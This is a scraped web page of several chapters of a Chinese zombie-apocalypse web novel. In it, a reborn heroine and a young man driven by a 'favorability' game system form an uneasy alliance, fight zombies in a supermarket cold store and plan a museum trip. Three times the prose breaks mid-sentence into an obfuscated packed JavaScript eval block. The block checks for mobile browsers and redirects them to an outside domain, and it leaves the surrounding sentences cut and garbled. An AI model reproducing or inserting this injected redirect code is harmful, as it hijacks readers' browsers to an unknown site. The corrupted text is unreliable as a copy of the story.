身后的丧尸穷追不舍,好在过度坚硬的身体变得僵硬,那些丧尸跑不快,他回头望了一眼,几乎就要甩开他们。 就是在他回头之际,冰冷冷的枪口抵在了他的额头之上,他猛地顿住脚步,看向眼前的男人,难掩惊讶:“江望曦?” 江家在景城的地位超然,是举世闻名的医学世家,江望曦的母亲与桑女士也是非常好的朋友。他小时候随父母来燕城暂住,少时几乎每年的寒暑假,都会在燕城过,有时是他独自一人,有时又是与江父江母一起。 今年二十二岁的江望曦,早已经进入了景城的研究院中工作,他年少成名,连跳数级,是当之无愧的天才。 在他们还在为了学业苦恼的时候,江望曦便已经完成了不知多少个课题。 近两年来他们的团队似乎在研究某种病毒,江望曦变得很忙,只上个月桑寄月高考前夕回来过一趟。 后来末世爆发,第一天交通就已经全面瘫痪,江望曦是怎么从几千公里外的景城跑到燕城来的?! 他来找谁显而易见。 江望曦的祖母是Y国人,他有四分之一的Y国血统,深邃的五官极是优渥漂亮,剔透的湛蓝色眼眸是大海的色彩,又像是凝结的冰晶,看起来危险而美丽。 他睨了桑淮一眼,问:“小月呢?” 江望曦对桑淮有敌意并不奇怪,但这直接上枪的敌意,还是让桑淮觉得诧异,他面色如常的说:“别墅里。” 他简略的解释了一下桑寄月不幸感染。 江望曦看着不远处行动迟缓的黑炭丧尸,淡声说道:“麻烦你跟我一起找。” 桑淮扭头看了眼那堆黑乎乎的脸,唇角微抽,但额头上的枪口让他必须点头。 他们迎上了那群丧尸。 为了避免桑寄月真的在里面,桑淮在杀丧尸前还得扒着脸看一眼究竟是不是他那个柔弱的继妹。 两人清理着源源不断的丧尸。 战斗途中,江望曦割断一只丧尸的脑袋后,握住了腰间别着的枪,对准桑淮的后脑勺,按下扳机—— “砰”的一声枪响在这片天地格外清晰。 一只忽然往后扑的丧尸应声倒地。 桑淮瞥了眼:“谢了。” 江望曦没说话,神情冷漠。 果真是一如既往的好运。 将丧尸都清理完了之后,他们将别墅翻了个底朝天,都没有看见桑寄月的踪迹,桑淮在一边恢复体力,江望曦则是回了隔壁的别墅。 末世前,这里每周都会有家政阿姨来打扫。 江望曦在这里隐约看到了生活过的痕迹,他进了卧室,一眼便看见了被倒扣在床头柜上的相框。 他难得的愣了一下,将相框摆好,目光温和的看着那张合照。 似乎有什么变得不一样了。 桑寄月不在她的家里,反而是在他家休息了几天时间。 江望曦将照片收好之后,去了地下车库,果然看见少了一辆车,这说明他当时没有看错。 他们曾遇见过,只是错过了。 另一边。 超市存放生鲜的冷库中。 事情似乎在某一刻变得有意思起来了。 因为刚才盛星舟被她咬了一口,只是被咬了下手出了点血而已,他就一副要死不活的样子,绝望的躺在地上不动了。 ……这个蠢货似乎以为她是丧尸呢。 既然都这么以为了干嘛还要把她拎进来啊蠢货! 但凡盛星舟认真的观察一下她,就能看到她的皮肤没有变青,瞳孔也没有变白,杀了那么多的丧尸,竟然连这点常识都没有。 四肢发达头脑简单的笨蛋。 太可爱了! 她喜欢笨的! 没想到有人会像她的丧尸小伙伴们一样愚蠢可爱! 桑寄月知道她现在最应该做的就是趁盛星舟没有求生欲的时候割下他的脑袋证实她的猜想,但她骨子里的劣根性冒上来了,这么好骗的人,不玩一下多浪费。 逗完这把就把他脑袋割下来吧。 如果他真的还能复活的话,她就把这个蠢货变成丧尸,留在身边玩。 桑寄月唇角勾了勾,然后张牙舞爪的扑向盛星舟,盛星舟躲都不躲,她就坐在他旁边,然后给了他一爪子。 盛星舟捂着胳膊爬起来,看着上面的印子,叹了一口气。 桑寄月安静的坐着。 盛星舟双眼空洞:“我那天晚上回去找你了,但没找到,我还以为你有脱身的办法,没想到是变成丧尸了。” 他记得七四和他说过桑寄月是在后期才变成丧尸的,没想到这故事才刚开始,她就感染尸毒了。 这剧情都崩成什么样子了啊。 盛星舟沉痛的想着。 桑寄月听见盛星舟说的话,诧异的偷偷看了他一眼,这蠢货回来找她干嘛?明明都怕她怕得要死了。 “我没想到能在这里遇上变成丧尸的你,本来是想继续保护你的,但你把我给咬了。”盛星舟表情抑郁。 桑寄月忍不住又偷看了他一眼,他在说什么啊?她哪里需要他保护了!真是可笑! 盛星舟看了眼虎口上的伤,两排牙印小巧可爱但在渗血,很显然桑寄月没有手下留情,他忽然觉得哪里不太对劲。 但桑寄月忽然又给了他一爪子,她的指甲抓人特别疼。 盛星舟的注意力被分散,他接着刚才的话说:“要是我没被你咬就好了,你看你现在对我这么友好,我们之后肯定能相处得很好的。” 他都坐她旁边这么久了,她竟然只是时不时的抓他一下,不动刀一切都好说。 桑寄月:“……” 她开始有些怀疑盛星舟的目的。 他似乎……对她没有敌意? 她都对他动了好几次刀了,他竟然只是害怕,而不是生气诶,似乎也并不想报复她。 可是话又说回来了,她对他有敌意啊,他莫名其妙的闯进她家,还经常提起桑淮那个废物,谁知道他安的什么心。 这世上可没有不求回报的付出。 一切的馈赠,都是有代价的。 没有例外。 蠢货,你想要什么呢? 盛星舟搓了搓冰冷的手臂,意识都开始涣散了,他想着变成丧尸之后就不会说话了,这时候可得多说点,虽然桑寄月从头到尾就没理过他,但这并不能妨碍他说话的热情。 “但可惜我现在马上就要变成丧尸了,不过我俩还是在一起的,好像事情也没那么糟糕,我们以后双尸合璧闯荡末世。”盛星舟握拳,声音坚定的说:“不过变成丧尸的话肯定好多人会打我们,你这小身板肯定不抗揍,看你脏成什么样了,以后挨打的事情让我来,你只需要……” 桑寄月竖起耳朵。 哔哔赖赖了这么多废话,可算是说到正题上了。 “对我的好感度高一点就好!” 桑寄月:“?” 他……竟然是图色吗? 真是色胆包天了。 盛星舟畅想着未来完成任务,高兴的说道:“等未来哪天你要领盒饭了我都帮你领,你看我对你好吧。” 桑寄月沉了脸。 竟然敢咒她死?! 盛星舟并没有察觉到不对劲,他又开始说起了另外话题:“不知道我等等尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044961|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化了是什么样子啊,我要是能和你一样就好了,皮肤白白的,脸蛋美美的,还能号令丧尸,想想也挺爽。” 当然最重要的是他能有理智有思想,不然就…… 盛星舟偷偷的看了眼低垂着眼眸连抓都不抓他了的少女,暗想,不然就变成桑寄月这种呆坐的傻子丧尸了。 桑寄月听见盛星舟的夸赞,本来还挺生气的,现在又觉得好笑,她的唇角勾了又勾,半天都没压下去。 盛星舟在心里问七四:“我变成丧尸能不能有理智啊?再给我开个金手指呗?” 听完全程的七四:“……” 他拉了个什么玩意来做任务。 盛星舟发现他和七四断联了,不禁忧愁的叹了口气,想着真是墙倒众人推,生命最后时刻陪在他身边的竟然是桑寄月。 穿着短袖的盛星舟瑟瑟发抖的搓胳膊,旁边的桑寄月忽然打了个喷嚏。 “丧尸也怕冷吗?我还以为就我尸化的时候冷呢。”盛星舟站起身去开门:“那我把门打开,正好认识下外面敲门的同类吧,让他们罩着我们。” 桑寄月重新将帽子戴上,站起来跺了跺脚,面无表情的说:“你冷是因为你在冷库里。” 正要开门的盛星舟手一顿,错愕的盯着她。 他意识到什么,低头看向手上的两排牙印,根本不是丧尸的犬齿。 盛星舟还是觉得不可置信,对上她冰冷的黑眸,忍不住伸出一根手指头碰了一下她的脸。 柔软的脸颊被戳得凹陷。 和丧尸坚硬的皮肤完全不一样。 桑寄月掏出腰间的剔骨刀:“你找死啊,敢摸我。” 盛星舟猛地缩回手,他觉得荒诞又不可思议,都顾不得对人类桑寄月的恐惧了,问题噼里啪啦的砸下来。 “你不是丧尸你为什么能召唤丧尸?” “你不是丧尸你为什么要用丧尸的方式攻击我?” 桑寄月面无表情的砸下手里的刀:“我现在就用人类的方式攻击你。” 然后她又打了个喷嚏。 “别别别,有话好好说,我们先出去。” 为了不直面桑寄月,盛星舟反手拉开冷库的大门,外面徘徊的丧尸一拥而入,朝着他们冲过来。 桑寄月也没在意,正好她想活动一下,这样会暖和一些。 她见外面的丧尸都进得差不多了,灵巧的钻过去将门合拢,确保里面的丧尸逃不了,超市里的丧尸不会被吸引过来。 手持棒球棍的盛星舟在打丧尸的时候不忘观察桑寄月,她仍是面无表情的模样,杀丧尸时却都是一刀毙命。 若是身高允许,她会直接将刀刺进丧尸的脑壳,如果够不到那么高,她便直接刺进丧尸的脖颈里,旋转一圈,丧尸便身首分离。 手法精巧而残忍,令他叹为观止。 丧尸的尸体堆满了地面,几乎占据了冷库的三分之一,刚结束战斗的盛星舟坐在地上喘着粗气休息,看向桑寄月。 少女乌黑的睫毛上缀着一滴丧尸黑色的鲜血,顺着脸颊滚落,被她用手背抹去,本来血呼啦的脸上更是狼狈。 桑寄月的呼吸也很重,但她没有像盛星舟一样露出弱态,她看了眼身上新鲜的血,重新拉开了冷库的门,显然是直接打算离开。 这时候再和盛星舟缠斗没有意义,他们都筋疲力竭了。 七四连忙提醒:“追啊!别让她跑了!” 盛星舟想到他的空间,咬牙追了上去,一把抓住了桑寄月的帽子。 桑寄月被勾起糟糕的回忆,勃然大怒,左手攥紧了血淋淋的剔骨刀,就朝着盛星舟挥去。 盛星舟立刻撒手,往后退时被丧尸的尸体绊倒,一屁股坐在了地上。 桑寄月继续往前走,腿被人给抱住了,她抽了两下还没抽动,再度挥出手里的刀—— 盛星舟仰着脑袋,清亮的眼睛眨也不眨的盯着她,额间落下斗大的汗珠,抱着她腿的双手也在轻微的颤抖着。 他在赌。 刚才桑寄月明显是不打算再杀他,说不定是被他的真诚打动了。 但桑寄月只是顿了一下,那把刀就刺在了他的身上,刚扎破上衣,盛星舟就怕得叫了起来:“姐,月姐,别捅我,我有空间,我给你当挂件!” 8. 组队 桑寄月对于空间并不陌生,因为上辈子的时候殷乔就手握空间,便宜了桑淮那个人渣,为他们小队提供了很大的便利。 末世沉浮十年,桑寄月听闻过的身怀空间的能人异士屈指可数,她所认识的也不过就一个殷乔而已,但此刻眼前的男人竟向她袒露他身怀空间,这般毫不避讳的向她亮出底牌,只是为了……跟着她? 这怎么可能,丧尸都不会这么愚蠢! 桑寄月一脚踹开盛星舟,在他上衣留下一个小巧的血脚印,她左手紧攥着剔骨刀,用前所未有的警惕眼神看着他。 “你究竟是什么目的!”她冷声问。 盛星舟:“……” 他坐在地上,依旧仰视着她,很是无奈的说:“月姐,我都抱你大腿了,你还问我什么目的?” “真要交手我并不是你的对手,你并不需要我的庇佑。” 桑寄月很有自知之明,盛星舟明显身手不错,且体力极佳,这种四肢发达还头脑简单的家伙在末世是香疙瘩,无论是当打手还是替死鬼都很吃香,但他就是再蠢,也不至于这样放低姿态要和她组队,他明显落不到好,除了…… 想到盛星舟方才说过的话,桑寄月泛白的唇角紧抿住。 盛星舟一脸无所谓的说:“好吧,那你抱我大腿也可以,只要你能跟我组队,怎么样都行。” 桑寄月冷漠的说:“我不会向男人摇尾乞怜。” 倘若盛星舟真的要冒犯她,就算不是对手,她死之前也要把他阉了。 盛星舟:“……” 不一直都是他在求她吗? 桑寄月既然一定要追问他的目的,他又不能暴露系统的存在,就只能顺着之前的话继续说下去了。 “你误会了姐,不、阿月!”盛星舟一咬牙就改了称呼,他从地上爬起来,顶着一张全是血的脸,用清亮的浅棕色眼眸热切的看着她:“刚才我的肺腑之言你也都听到了,我对你有好感,所以希望你也能对我有好感,为了你的好感,我一定会保护你的!” 说来说去,似乎又绕回来了。 桑寄月的脸色并没有好转,她冷冷的说:“我不会跟你睡觉的。” “啊?” 桑寄月转身往外走,她的速度很快,眨眼间就走到了员工通道的尽头,刚要出门,帽子就又又又被人给拽住了! 这个蠢货真的超级烦人。 盛星舟将员工通道的门合拢,抵着不让她走,昏暗的走廊中,两人对峙。 桑寄月彻底失去了耐心,攥着那把血淋淋的刀就朝着盛星舟扎了下去,盛星舟察觉到危险,侧身躲避,与她交手。 这也是他们第一次在没有外力干扰的情况下对打,在这过程中盛星舟惊愕的发现桑寄月的身手好得离谱,动作快得几乎肉眼都不能捕捉。 光看她杀丧尸盛星舟对她的身手还没有清晰的认知,直到此刻交手他才清楚的明白她的身手究竟有多好。 这明显不像是养在别墅里的大小姐啊,她真的是系统口中的“柔弱女配”吗? 只是这时也容不得他多想,桑寄月来势汹汹,他躲得很狼狈,好在很快桑寄月就体力不支了,在最后挥出手里的刀后,她终于虚脱,瘫坐在地,胸脯剧烈起伏,仿佛下一刻就会晕过去。 尖锐锋利的剔骨刀掉落在地,发出清脆的声响。 桑寄月捂着胸口,充满恨意的瞪着盛星舟。 盛星舟意识到或许是因为桑寄月过往的某些遭遇,或许是那几个想侵犯她的人渣,又或许是别的原因,她对于男女之间的关系非常敏感,想要取得她的信任,一定不能从男女方面入手。 那什么好感度可不一定是男女间的好感度。 迎着桑寄月并不友好的眼神,盛星舟在她三步远的地方蹲下,平视着她,说道:“我认为我们可以是很好的队友,向你提出组队我也认真考量过,我杀一只丧尸的时间你能杀三只丧尸,我相信你不需要任何人的保护,但在末世结伴同行总比踽踽独行得要好,毕竟我们谁都有脆弱的时候,你说对吗?” 桑寄月还以为他终于要露出真面目了,却没想到他竟然会这样说。 他在认可她。 她冰冷仇恨的眼神有刹那间的波动,但她也没有忘记之前的不愉快:“我一直想要杀了你,你当真能心无芥蒂的和我组队吗?” “不太能……”盛星舟嘟囔了一声,然后又叹了口气:“但我尽量理解你一下吧,你以后别再对我动刀子就行。” 桑寄月不说话了。 盛星舟朝着她伸出手,眼睛很亮:“桑寄月,要组队吗?” 她还在犹豫。 上辈子为人时短暂脱离桑淮的那段时间,她不是没有和其他人组过队,男女都有,女孩子还算友好,毕竟她们都很不容易,但男的就很喜欢占她便宜,在末世某种恶心的交换似乎已经约定俗成。 半晌,桑寄月问:“你刚才说你对我有好感,是真的吗?” “不不不,是队友之间的好感,你千万别误会,我不喜欢疯婆子。” 桑寄月:“?” 盛星舟反应过来他说了什么,一时有些尴尬,他刚要缩回手,一只柔软带血的冰凉小手搭在他的指尖。 桑寄月握住了他的手指,像是某种回应—— “组队吧。” 盛星舟听见她犹如天籁的声音,感受到指尖的力度,差点喜极而泣。 走了这么多的歪路终于是把桑寄月给搞定了!太棒了! 盛星舟的情绪在瞬间高昂了起来,七四冒出来看了眼:“不知道的还以为你任务完成了呢,女配的好感度目前还是0,你在高兴啥?” 盛星舟:“……” 该死的都队友了好感度竟然一点不涨? 算啦,来日方长。 桑寄月肯接受他已经很不容易了! 盛星舟高兴的想,然后反手握住她的手,将她从地上拉了起来,还把她掉在地上的剔骨刀也捡了起来,用衣摆将上面的血都擦干净了才还给她。 桑寄月礼貌的说了声“谢谢”,然后缩回了手,在身上擦了擦。 盛星舟轻哼了声,她那衣服还没他手干净呢,他也不甘示弱的在衣摆上擦擦手,一脸嫌弃。 “我还有最后一个问题。”桑寄月没去管他的小动作。 盛星舟:“别问,不能说。” “我不问你是怎么复活的,每个人都有自己的秘密,我能理解。”桑寄月平静开口,然后说:“你和桑淮什么关系?” 盛星舟沉默了一下,他再迟钝也能发现桑寄月似乎很讨厌她的继兄,他说:“我们都是燕城大学的,但我是因为你才知道的他。” 桑寄月颔首,没再就为什么是因为她才知道的桑淮发问,她对这件事不感兴趣,只要这蠢货和桑淮没关系就行。 “那我先去冷库里装生鲜啦,你先好好休息一下。”盛星舟声音轻快的说。 桑寄月没吭声,看盛星舟跑进了冷库后,才缓慢的离开的员工通道。 十平米的空间虽然不算大,但若是满满登登的塞一下,也能塞下不少,空间里的时间静止,也不怕失去冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她上辈子做了八年的丧尸,对于丧尸的习性烂熟于心,虽然这辈子还是人,但她因为身体原因,天生心脏跳得慢、呼吸轻,不同于正常人的心跳与呼吸的频率可以很好的瞒过耳朵灵敏的丧尸。 身上的丧尸血也能完美掩盖她的气息,骗过这些可爱的小家伙们,并且让他们为她所用,并不困难。 盛星舟颇费了一番功夫才将物资都塞进空间里,真是甜蜜的烦恼,不过提升桑寄月的好感度扩展空间迫在眉睫。 他看桑寄月还在喝牛奶,身后多了一个粉色的书包,沉甸甸的压在她的肩头,很明显也装满了物资。 盛星舟凑过去,讨好的说:“月姐,我帮你背书包。” “不用。”桑寄月有必要将一部分必需的物资随身携带,不然哪天这蠢货跑了,她就什么都没有了。 “好吧,那我帮你提牛奶?”盛星舟双手合十:“求你了月姐,给我个干活的机会吧!” 桑寄月:“……” 盛星舟拎着那箱牛奶,随口问她:“你喜欢喝牛奶啊。” “妈妈说我还在长身体,喝牛奶才能长高。”提起桑女士,少女柔软的声线温和了许多,她认真的回答。 好乖好可爱,这才是十七岁该有的样子啊! 盛星舟默默的想着,忍不住多看了她两眼,越看越顺眼。 9. 好感 这座超市目前丧尸云集,虽然员工通道里很安全,但出行的必经之路上仍全都是丧尸,想要突围免不了又是一场恶战。 当然,对于盛星舟来说是这样的。 桑寄月用湿巾将她的刀擦拭干净别在腰间,重新扣上卫衣帽,遮住她柔软乌黑的干净长发,便往外走。 盛星舟心有所感,在冷库里的丧尸尸体堆里滚了一圈,然后屁颠屁颠的跟上了桑寄月。 一阵腐烂的血腥味扑面而来。 虽然夏天的末世是一个巨大的垃圾场,但桑寄月在盛星舟靠近的时候还是忍不住捂住鼻子,背靠着门,退无可退。 她不太理解:“你做什么?” “学你啊。”盛星舟理所当然的说:“我也装丧尸走出去,偷个懒,打不动了,嘿嘿。” 人只有在尝试过之后知道不行才会死心,桑寄月也没多说什么:“那你先出去吧。” 盛星舟摇头:“不不不,月姐你先。” “虽然你可能会被啃得很难看,但我会把你领出来的。”桑寄月同情的看了眼盛星舟。 队友是丧尸还是人类她都无所谓,只是这蠢货变成丧尸应该会更可爱,她很期待。 盛星舟想了想,然后高兴的说道:“就是我变成丧尸了你也不会抛下我吗?” 桑寄月:“……” 蠢货,等你变成丧尸了再说吧。 盛星舟偷偷和七四说:“你听到没,她要和我不离不弃诶,太感动了。” “要不是好感度为0我就信了。” 盛星舟听了脸立刻就拉了下来。 桑寄月没理会盛星舟看起来大起大落的情绪,拧开门把手,泰然自若的走了出去,穿梭过游荡的丧尸群。 一直丧尸忽然堵在了她的面前,盛星舟远远听着,像是在对话。 但桑寄月没理那只丧尸,一脚踹开,继续往外走。 桑寄月在丧尸群里的嚣张给了盛星舟极大的自信。 他学着桑寄月的模样大摇大摆的走了出去,正要闲庭信步的跟上桑寄月,但才刚迈出一只脚,成堆的丧尸朝着他涌来。 盛星舟大吼一通:“知不知道我姐是谁!你们对她客气也得对我客气!” 丧尸听不懂,丧尸的身影将他淹没。 等他盛星舟从超市里逃出来的时候已经是半个小时后了,刚将坚固的玻璃门关上,他就双腿一软倒在地上,跟条死狗一样躺在地上动都不动。 虽然很快就被烫得爬起来了。 盛星舟异想天开:“月姐,如果有一天你真的成丧尸王就好了,就可以罩着我了,看那群丧尸还敢扒拉我。” 等了半个小时的桑寄月用手扇风,没理他。 她以后感染了第一个咬的就是这蠢货。 真以为当丧尸很轻松么。 桑寄月的车就停在不远处,本来不放心她想去驾驶座的盛星舟被桑寄月赶走,他惴惴不安的系上安全带,跑车就如同离弦之箭一样窜了出去。 他们接下来需要前往盛星舟这几天的落脚点休整一番,从这条街过去只需要十分钟的车程,路很好走,桑寄月受不了旁边身上全是丧尸血的盛星舟,油门踩到底,窗户大开,风声呼啸。 盛星舟紧握住车扶手,眼神惊恐,怕她带着他一起翻车;后座的大福镇定一些,身上还绑了安全带,被风吹得吐着舌头,昂首挺胸。 五分钟后,抵达目的地。 桑寄月拉开车门,脚步轻快的跳下车,望向眼前的建筑物。 盛星舟选的落脚点虽然地处偏僻,但四周绿树成荫,极是隐秘,街上的丧尸基本不会找到这里来,而至于民宿内部的丧尸,盛星舟在刚找到这里的时候就清理过一遍了,现在里面非常安全。 他心有余悸的从车上下来,桑寄月就已经去前台找□□了,这是一家家庭式民宿,房间基本上都是标准的两室一厅,盛星舟抛开疑问,体贴开口:“这间房,我已经都收拾干净了,可以住。” 桑寄月用钥匙打开隔壁的房门,一阵恶臭扑面而来,角落里的尸体腐烂,上面爬满了白色的蛆。 “好吧,看来你还是想和尸体一起睡。”盛星舟嫌弃的别开眼,离桑寄月远了些,尊重祝福:“你好好休息吧。” 桑寄月抿了抿唇,也没办法硬着头皮走进去,她终于理了下盛星舟:“你刚才说什么?” “你想睡这间都是蛆的房间。” 桑寄月:“……” 盛星舟忍着笑改口:“我说这间房收拾干净了,我们一起住吧。” 桑寄月立刻走了进去。 盛星舟身后的房间的确打扫得很干净,最大的异味也只是她背后在丧尸堆里打滚的蠢货。 盛星舟随手关门,凑上去邀功:“你看这里是不是很干净一点味道都没有?我的作用是不是举足轻重?” 作用? 当清洁工吗? 那确实挺有潜力。 桑寄月认可颔首,然后直奔卫生间,大福守在门口,盛星舟只是经过都被它汪汪叫赶走。 盛星舟认为他成功刷到了好感,心情颇好的用干净的碗给大福满上狗粮,还给倒了矿泉水,放在它脚边。卫生间里传来水声,他拎了一下身上粘粘的衣服,也忙不迭的去洗澡了。 末世已经第七天,水资源受到污染,已经不能直接入口,但用来洗澡是没有问题的,麻烦的是断电了,水龙头里出不了热水,不过这个天气洗冷水澡也没什么。 出来的时候桑寄月已经穿戴整齐坐在沙发上了,黑发湿漉漉的搭在脑后,还在滴着水,仰头吞了一粒什么。 盛星舟看见桑寄月的动作,凑过去搭话:“月姐,吃糖呢?我尝尝?” 桑寄月看了他一眼,掰下一粒感冒胶囊递给了盛星舟。 盛星舟没想到是胶囊,但看桑寄月盯着他,他不想辜负她的好意,就学着桑寄月的模样直接咽了,被卡得喝了半瓶矿泉水才吞下去。 桑寄月歪着脑袋看着他的动作,轻微的扬了下嘴角:“还敢吃我给你的东西?” “我们现在是队友啊,我信任你。”盛星舟张口就说。 桑寄月没说什么,转身进了卫生间绞干头发。 盛星舟则是去了厨房准备晚饭,折腾了一天他已是饥肠辘辘,他对于食物的要求不太高,这几天都是吃一些速食,怎么方便怎么来,但今天是他第一天和桑寄月组队,可不能草草了事。 盛星舟决定放弃泡泡面改成煮泡面,他开了一个牛肉罐头,兑了矿泉水煮开,一边和七四说话:“你有没有觉得桑寄月怪怪的。” 七四:“没有,都是你的错觉。” “我还什么都没说呢,你就急着否认啦?”盛星舟反问七四。 七四:“……” 就目前而言,这系统给出的剧情就没对过,桑寄月除了那张脸之外哪哪都不像一个柔弱的女配,分明是能在丧尸群里如履平地的金大腿,就这还需要他拯救? 月姐拯救他还差不多。 桑寄月身上奇怪的地方很多,如果不是她那具体弱多病的身体成了拖累,他绝对不是她的对手,另外她开车的技术娴熟,飙起车来让他都心惊胆战。 盛星舟赞美了一番桑寄月后接着说道:“可是!她才十七岁啊!你说凭我月姐的这配置不得混个女主当当?这都当不上女主,那女主得多厉害?” 话题到这里变了味,盛星舟开始替桑寄月愤愤不平。 最后,盛星舟总结:“所以怎么能让桑寄月当上女主?” 七四:“?” “你说了半天就问我这?” “那你想回答我别的问题?”盛星舟反问:“那你说说吧,她为什么会ooc。” “当然是因为吓坏了啊!柔弱女配一应激就是这样的,你还是小说读少了,以后回去了记得多读两本,你就不会问我这么愚蠢的问题了。” 盛星舟知道七四嘴里是一点实话都没有了,从刚绑定就开始坑他,要不是他机智,现在都已经被桑寄月捅成筛子了。 桑寄月将长发绞干,盛星舟也做好了今晚的晚餐,他盛了两碗牛肉面出去,满脸笑容的邀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044963|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请她共进晚餐。 餐桌被盛星舟搬到了窗边,窗户开着,吹进来一阵清凉的风。 桑寄月看了眼那碗面,很讲究的另外拿了一个小碗挑了些面。 盛星舟倒是饿了,都顾不得烫就大口大口的吃了起来。 他们安静的吃着晚餐,桑寄月吃完一块牛肉,盛星舟就已经撑着下巴百无聊赖的看着她吃了。 盛星舟发现不管手有没有被绑,桑寄月吃饭的时候破事都很多,不是摸一下脚边的狗头,就是要擦擦嘴,然后喝两口水,碗里的面都快坨了。 他又找七四问了下桑寄月的好感度,得到依旧是0的答案后,他决定继续出击,帮桑寄月撸狗头,帮桑寄月倒水,如果不是拜倒在她冰冷的眼神下,他还想帮她擦嘴。 桑寄月:“你这么殷勤……” “我是体贴,有没有对我的好感度上升一点呀~”他觍着脸问。 “也不能改变你做饭难吃的事实。”她将话补充完整。 “难吃?!”难得下厨的盛星舟大受打击。 怪不得桑寄月才吃那么两口就不动了,原来是不喜欢吃,都怪他,所以说好感度它上不去啊。 盛星舟深刻反省。 桑寄月放下筷子,将那碗大半碗面端起来:“冰箱在哪?” “怎么,留着明天当早餐?” 桑寄月点头。 “别当早餐了,你把这碗面放进你的小书包里,接下来一个星期的口粮都够了。”盛星舟哼了声,说道。 桑寄月一如既往的不爱搭理他,但她还未站起身,盛星舟就朝着她伸出了手,表示他来吃。 桑寄月当然不想浪费粮食,递给盛星舟后他三两口就吃完了,咽下去之后还笑容满面的和她邀功:“怎么样,感受到我的作用了吗?” 她点头。 超级大的泔水桶。 盛星舟再度得到认可,非常高兴,但七四告诉他桑寄月的好感度依旧为0。 他立刻笑不出来了,耷拉着脸将桌面收拾干净进了厨房。 盛星舟本想今晚再战,继续想办法刷好感,但桑寄月是真的不想理他,天都还没黑就带着大福进了卧室,完全不给他献殷勤的机会。 一夜很快过去。 盛星舟记起昨天桑寄月洗完冷水澡还要吃感冒药预防,晨练完后特地给她烧了热水洗漱,表现得非常体贴且善解人意。 桑寄月有些莫名的看了他一眼,洗漱完毕后他就凑了上来,眼巴巴的问:“你觉得我有用吗?” 桑寄月点头。 是个狗腿。 虽然不知道他为什么要这样,但她很受用。 结果盛星舟一问好感度还是0,从昨天到今天就没涨过。 桑寄月不明白为什么每次她点头表示认可之后,盛星舟都要耷拉着脸。 “我们认识也有几天了,在你心里我是个怎样的人?”盛星舟选择使用迂回战术。 无论桑寄月说他们是刚认识,还是朋友,再或者是队友都可以,反正他们肯定有点关系,都有点关系好感度还是0是不是有点说不过去呢? 盛星舟已经整理好了措辞,只等桑寄月开口,在他期待的目光下,桑寄月点评:“你房间打扫得还可以,就是做饭太难吃,以后别做我的了,你可以一个人吃两份,另外洗漱的水太烫,下次记得放凉再给我用,如果你做得好的话,我会付给你报酬,你有什么想要的吗?” 很好,桑寄月开发了他们之间的第四种关系——主仆! 他觍着脸的下场是桑寄月把他当奴才。 没关系!!!奴才就奴才,只要他够舔,他就不信好感一直为0。 盛星舟满脸深情的看着桑寄月:“我明白了月姐,我会努力钻研厨艺的,为了你我可以做任何事!” 承诺总是动听的。 半晌,桑寄月点头认可,然后出门遛狗。 七四:“动了动了。” 盛星舟喜出望外,一看好感由0变-1。 他就该知道桑寄月一点头就没好事。 10. 郊游 太阳渐渐的大了起来。 桑寄月倚在门口乘凉,大福趴在她的脚边,时不时的甩一下蓬松的大尾巴。 她面上已经隐隐有了不耐之色:“那个蠢货跑哪去了?” 她遛完狗回来一看,盛星舟就已经不见踪迹,但今天她还有别的行动。 大福听见桑寄月的声音汪汪叫了两声,用清亮黝黑的眼睛看着她。 桑寄月用脚尖勾了勾小狗的下巴,嘟囔道:“早知道不和他组队了,做起事来磨磨唧唧的,还对我有别的想法。” 虽然她很受用。 留着他逗个乐子也不错,毕竟大福不会说话,但他会一直在她耳边叫,她不理他他也能说个不停。 特别可爱。 桑寄月面上的不耐之色淡了一些。 又等了大概半个小时左右,盛星舟终于迈着轻快的步伐回来了。 桑寄月也没问他去做什么了,直接说:“收拾一下,要走了。” “啊?”盛星舟特地出去找了一打菜谱,就等着这段时间和桑寄月隐居在这里的时候大显身手。 桑寄月看他懵懂的神情:“你以为我们会在这里长住吗?” “不然呢,外面很危险诶。” “除了在这里混吃等死,你没有别的想做的事情吗?” 盛星舟张口就来:“当然有,就是跟着你!” 桑寄月点了下头,算是回应。 盛星舟见了还特地看了眼好感度,谢天谢地竟然跳回了0,也不知道是什么时候上来的,四舍五入桑寄月对他有1点好感,耶。 盛星舟心情颇好的开口:“月姐,你要去哪啊?” “燕回博物馆。”桑寄月带着她的狗慢悠悠的往外走。 盛星舟跟着她走:“去逛博物馆?你好有兴致啊。” 燕回博物馆坐落在燕回山的山脚,展览着历史古物,算是比较小众的景点之一,里面展览着一柄有上百年历史的匕首,削铁如泥,吹毛立断,非常锋利。 桑寄月领教过,因为桑淮那个杂碎就是拿着那把匕首把她的手切下来的。 现在她要那把匕首。 听见盛星舟的夸赞,桑寄月忽然停下脚步,朝着他勾起了唇角:“我还想杀个人,要是能把他的脑袋放到展示柜里就好了,可惜他比较难杀。” 